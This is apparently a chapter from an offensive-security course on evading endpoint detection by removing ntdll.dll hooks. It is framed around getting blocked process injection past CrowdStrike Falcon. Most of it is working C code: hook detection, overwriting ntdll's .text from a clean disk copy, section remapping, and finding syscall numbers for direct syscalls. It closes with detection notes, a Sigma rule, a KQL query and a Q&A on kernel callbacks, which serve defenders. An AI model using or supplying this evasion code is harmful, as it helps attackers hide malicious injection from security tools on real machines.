EDR Evasion: Userland Unhooking
How modern EDRs instrument userland via ntdll.dll inline hooks, three practical unhooking techniques (fresh ntdll copy from disk, section remapping, per-function patch restoration), why each works and where each fails, direct syscall as the alternative, and what all of this looks like in EDR telemetry.
CrowdStrike Falcon is on the target workstation. Your classic process injection code — VirtualAllocEx + WriteProcessMemory + CreateRemoteThread — is blocked before execution begins. The EDR's user-mode hook on NtAllocateVirtualMemory intercepts the call, sends telemetry to the cloud, and the behavioral engine decides to block it. To execute your injection, you need to remove the hook before calling the sensitive API, or bypass it entirely using a direct syscall. This chapter covers both paths in detail.
How EDR Userland Hooks Work
Detecting Hooks at Runtime
// Walk ntdll exports and check first byte of each Nt* function.
// Clean stub starts with 0x4C (mov r10, rcx) or 0xB8 (mov eax, SSN) on x64.
// A hook starts with 0xE9 (JMP) or 0xFF 0x25 (indirect JMP).
typedef struct {
char name[64];
PVOID addr;
BYTE firstByte;
BOOL hooked;
} HookInfo;
DWORD DetectNtdllHooks(HookInfo* results, DWORD maxResults) {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)ntdll + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
(BYTE*)ntdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD* names = (DWORD*)((BYTE*)ntdll + exp->AddressOfNames);
WORD* ords = (WORD*) ((BYTE*)ntdll + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)ntdll + exp->AddressOfFunctions);
DWORD count = 0;
for (DWORD i = 0; i < exp->NumberOfNames && count < maxResults; i++) {
const char* name = (const char*)((BYTE*)ntdll + names[i]);
if (name[0] != 'N' || name[1] != 't') continue; // only Nt* functions
BYTE* fn = (BYTE*)ntdll + funcs[ords[i]];
BOOL hooked = (fn[0] == 0xE9 || (fn[0] == 0xFF && fn[1] == 0x25));
results[count].addr = fn;
results[count].firstByte = fn[0];
results[count].hooked = hooked;
strncpy(results[count].name, name, 63);
count++;
}
return count;
}
Fresh ntdll Copy — Full Unhook
// Load a clean copy of ntdll.dll directly from disk (bypassing the in-memory hooked copy).
// Map the clean .text section over the hooked in-memory ntdll .text section.
// Result: all hooks removed — EDR's JMPs overwritten with original clean bytes.
BOOL UnhookNtdllFromDisk() {
// Get path to ntdll.dll on disk
wchar_t ntdllPath[MAX_PATH];
GetSystemDirectoryW(ntdllPath, MAX_PATH);
wcscat(ntdllPath, L"\\ntdll.dll");
// Open and map the on-disk file
HANDLE hFile = CreateFileW(ntdllPath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
PVOID clean = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
// Get in-memory (hooked) ntdll
HMODULE hookedNtdll = GetModuleHandleW(L"ntdll.dll");
// Find .text section in both images
PIMAGE_NT_HEADERS ntHdrs = (PIMAGE_NT_HEADERS)(
(BYTE*)hookedNtdll + ((PIMAGE_DOS_HEADER)hookedNtdll)->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(ntHdrs);
for (WORD i = 0; i < ntHdrs->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
PVOID hookedText = (BYTE*)hookedNtdll + sec->VirtualAddress;
PVOID cleanText = (BYTE*)clean + sec->PointerToRawData;
DWORD size = sec->SizeOfRawData;
// Make the hooked .text section writable temporarily
DWORD oldProt;
VirtualProtect(hookedText, size, PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(hookedText, cleanText, size);
VirtualProtect(hookedText, size, oldProt, &oldProt);
break;
}
UnmapViewOfFile(clean);
CloseHandle(hMap);
CloseHandle(hFile);
return TRUE;
}
// After this call: all EDR hooks on ntdll.dll are gone for this process.
// Risk: EDR may detect VirtualProtect(PAGE_EXECUTE_READWRITE) on ntdll .text section
// and alert on "ntdll memory permission change"
// Better approach: use NtProtectVirtualMemory directly (which may itself be hooked)
Section Remapping Unhook
// More stealthy: create a new section mapped from ntdll on disk,
// then remap the module's virtual address to point to the clean section.
// Avoids VirtualProtect on ntdll .text — uses NtMapViewOfSection instead.
BOOL UnhookViaRemapping() {
wchar_t ntdllPath[MAX_PATH];
GetSystemDirectoryW(ntdllPath, MAX_PATH);
wcscat(ntdllPath, L"\\ntdll.dll");
HANDLE hFile = CreateFileW(ntdllPath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
HANDLE hSection;
NtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE,
NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
CloseHandle(hFile);
PVOID mapBase = NULL;
SIZE_T mapSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &mapBase,
0, 0, NULL, &mapSize, ViewShare, 0, PAGE_EXECUTE_READ);
// mapBase now holds clean ntdll — copy .text into hooked ntdll
HMODULE hooked = GetModuleHandleW(L"ntdll.dll");
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(
(BYTE*)hooked + ((PIMAGE_DOS_HEADER)hooked)->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
PVOID hookedText = (BYTE*)hooked + sec->VirtualAddress;
PVOID cleanText = (BYTE*)mapBase + sec->VirtualAddress; // SEC_IMAGE: RVAs align
DWORD oldProt;
NtProtectVirtualMemory(NtCurrentProcess(), &hookedText,
&sec->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProt);
RtlCopyMemory(hookedText, cleanText, sec->Misc.VirtualSize);
NtProtectVirtualMemory(NtCurrentProcess(), &hookedText,
&sec->Misc.VirtualSize, oldProt, &oldProt);
break;
}
NtUnmapViewOfSection(GetCurrentProcess(), mapBase);
CloseHandle(hSection);
return TRUE;
}
Direct Syscalls — Skip ntdll Entirely
// Direct syscall: issue the syscall instruction ourselves without going through ntdll.
// Even if ntdll is hooked, our code never touches the hooked stub.
// Covered in ch128 for NtReadVirtualMemory — same pattern applies to all Nt* functions.
//
// Hell's Gate: parse SSN from clean ntdll at load time.
// Halos Gate: handle the case where the target function is already hooked
// (can't read SSN from first bytes) → scan neighboring Nt* functions.
// Tartarus Gate: handle patched instructions beyond just the first byte.
// SysWhispers3 / RecycledGate: generate per-function syscall stubs at runtime.
// FreshyCalls: sort Nt* functions by address in ntdll — SSN = sort-order index.
// (Nt* functions are laid out in SSN order in ntdll's .text section)
// FreshyCalls SSN discovery (cleanest, works even when all stubs are hooked):
DWORD GetSSNByPosition(const char* funcName) {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
PIMAGE_EXPORT_DIRECTORY exp = GetExportDir(ntdll);
DWORD* names = (DWORD*)((BYTE*)ntdll + exp->AddressOfNames);
DWORD* funcs = (DWORD*)((BYTE*)ntdll + exp->AddressOfFunctions);
WORD* ords = (WORD*) ((BYTE*)ntdll + exp->AddressOfNameOrdinals);
// Collect all Nt* functions and their RVAs
SyscallEntry entries[512]; DWORD n = 0;
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char* name = (const char*)((BYTE*)ntdll + names[i]);
if (name[0] == 'N' && name[1] == 't') {
entries[n].rva = funcs[ords[i]];
entries[n].name = name;
n++;
}
}
// Sort by RVA — lower RVA = lower SSN (SSNs are sequential in memory order)
qsort(entries, n, sizeof(*entries), CompareRVA);
for (DWORD i = 0; i < n; i++)
if (strcmp(entries[i].name, funcName) == 0) return i; // position = SSN
return (DWORD)-1;
}
Detection Engineering — Unhooking Visibility
-- EDR detection of unhooking:
-- 1. ntdll .text section permissions change
-- VirtualProtect / NtProtectVirtualMemory on ntdll with PAGE_EXECUTE_READWRITE
-- is anomalous — legitimate code never needs to write to ntdll
-- 2. ntdll .text content change detection
-- Some EDRs periodically hash ntdll .text section (or specific hook bytes)
-- and alert on unexpected modification
-- 3. Module fingerprint mismatch
-- If EDR maps its own copy of ntdll for comparison: detects section replacement
-- CrowdStrike uses kernel callbacks (not just userland hooks) — unhooking
-- userland is insufficient against kernel-level telemetry
-- 4. Direct syscall: no hook to alert on, BUT
-- Kernel-mode ObRegisterCallbacks and PsSetCreateProcessNotifyRoutine still fire
-- Thread that executes syscall instruction without going through ntdll is anomalous
-- EDR can detect: process allocation not preceded by the expected call stack
-- (CrowdStrike: anomalous call stack → VirtualAllocEx call came from shellcode,
-- not from ntdll's VirtualAllocEx → alert on suspicious call stack origin)
-- Sigma: ntdll module written from unexpected process
title: ntdll Memory Overwrite Attempted
logsource:
product: windows
category: process_tampering # Sysmon Event 25
detection:
selection:
EventID: 25
Image|endswith: '\ntdll.dll'
Type: 'Image is replaced'
condition: selection
level: critical
-- MDE KQL: process calling NtProtectVirtualMemory on its own ntdll
DeviceEvents
| where ActionType == "MemoryModified"
| where AdditionalFields has "ntdll.dll"
| where AdditionalFields has_any ("EXECUTE_READWRITE", "0x40")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, AdditionalFields
| Technique | Removes Hooks | EDR Visibility | Bypasses Kernel Callbacks |
|---|---|---|---|
| Fresh disk copy (overwrite .text) | All ntdll hooks | VirtualProtect on ntdll .text — high signal | No |
| Section remapping | All ntdll hooks | NtMapViewOfSection + write — medium signal | No |
| Per-function patch restore | Targeted hooks only | Lower — only touches specific bytes | No |
| Direct syscalls (Hell's Gate) | N/A — bypasses hooks | No hook removal — call stack anomaly detection | No — kernel callbacks still fire |
| Kernel driver (remove hook from kernel) | Yes + kernel callbacks | Lowest — kernel-level, hidden from user telemetry | Yes |
Q&A
If direct syscalls bypass userland hooks completely, why do EDRs still detect them?
The core misunderstanding is equating "bypass the hook" with "bypass the EDR." EDR products operate at multiple layers, and userland hooks are only one of them. When a process issues a raw syscall instruction from its own code (rather than going through ntdll's stub), the CPU transitions to kernel mode and the syscall dispatcher runs. Windows kernel has a notification framework that EDRs register with: ObRegisterCallbacks notifies when a process object is opened with sensitive access masks; PsSetCreateProcessNotifyRoutine fires on process creation; PsSetCreateThreadNotifyRoutine fires on thread creation. These callbacks fire regardless of whether the caller went through ntdll or used a raw syscall — the kernel is what invokes the callback, not ntdll. Additionally, CrowdStrike Falcon and SentinelOne implement their own kernel mini-filter drivers that observe I/O operations at the kernel level. The call-stack anomaly detection is also significant: when a function like NtAllocateVirtualMemory is called through ntdll normally, the call stack includes frames in ntdll.dll, the calling application's DLL, and so on. When a direct syscall fires from shellcode or a custom stub, the call stack skips the ntdll frame entirely. EDR products that perform call-stack walking (CrowdStrike does this) can detect "this syscall came from a suspicious address range, not from within ntdll.dll" and generate an alert. Practically, direct syscalls defeat userland-only EDRs and older products, but not mature EDRs that pair userland instrumentation with kernel callbacks and call-stack analysis.